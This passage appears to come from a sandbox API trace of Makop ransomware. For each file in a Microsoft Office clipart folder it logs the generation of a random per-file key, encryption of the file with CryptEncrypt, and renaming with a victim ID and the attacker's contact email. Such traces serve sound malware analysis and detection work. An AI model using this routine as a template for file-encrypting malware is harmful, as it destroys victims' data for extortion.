lpNumberOfBytesWritten=0x6577aa8*=0x1b50, lpOverlapped=0x0) returned 1 [0152.074] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.074] SetEndOfFile (hFile=0xf0) returned 1 [0152.081] GetProcessHeap () returned 0x48a0000 [0152.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.081] GetProcessHeap () returned 0x48a0000 [0152.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.083] CloseHandle (hObject=0xf0) returned 1 [0152.083] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0152.083] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF") returned 63 [0152.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.084] GetProcessHeap () returned 0x48a0000 [0152.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.085] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.085] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.085] GetProcessHeap () returned 0x48a0000 [0152.085] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.085] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.085] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.085] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.093] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x540, lpOverlapped=0x0) returned 1 [0152.093] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540, dwBufLen=0x540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540) returned 1 [0152.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x540, lpOverlapped=0x0) returned 1 [0152.093] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.093] SetEndOfFile (hFile=0xf0) returned 1 [0152.100] GetProcessHeap () returned 0x48a0000 [0152.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.100] GetProcessHeap () returned 0x48a0000 [0152.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.100] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.102] CloseHandle (hObject=0xf0) returned 1 [0152.102] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0152.102] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF") returned 63 [0152.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.103] GetProcessHeap () returned 0x48a0000 [0152.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.103] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.108] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.108] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.108] GetProcessHeap () returned 0x48a0000 [0152.108] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.109] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.109] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.109] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.109] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.109] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.110] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.110] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.110] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x334, lpOverlapped=0x0) returned 1 [0152.110] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x340, dwBufLen=0x340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x340) returned 1 [0152.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.110] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x340, lpOverlapped=0x0) returned 1 [0152.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.111] SetEndOfFile (hFile=0xf0) returned 1 [0152.117] GetProcessHeap () returned 0x48a0000 [0152.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.117] GetProcessHeap () returned 0x48a0000 [0152.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.117] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.119] CloseHandle (hObject=0xf0) returned 1 [0152.119] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0152.119] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF") returned 63 [0152.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.120] GetProcessHeap () returned 0x48a0000 [0152.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.120] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.120] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.120] GetProcessHeap () returned 0x48a0000 [0152.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.121] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.126] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.126] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.126] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x900, lpOverlapped=0x0) returned 1 [0152.126] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900) returned 1 [0152.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x900, lpOverlapped=0x0) returned 1 [0152.127] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.127] SetEndOfFile (hFile=0xf0) returned 1 [0152.134] GetProcessHeap () returned 0x48a0000 [0152.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.134] GetProcessHeap () returned 0x48a0000 [0152.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.134] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.135] CloseHandle (hObject=0xf0) returned 1 [0152.135] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0152.135] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF") returned 63 [0152.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.138] GetProcessHeap () returned 0x48a0000 [0152.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.138] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.143] GetProcessHeap () returned 0x48a0000 [0152.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.143] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.143] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.144] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.144] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.145] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.145] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.145] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe88, lpOverlapped=0x0) returned 1 [0152.145] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe90, dwBufLen=0xe90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe90) returned 1 [0152.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.145] WriteFile (in: hFile=0xf0, 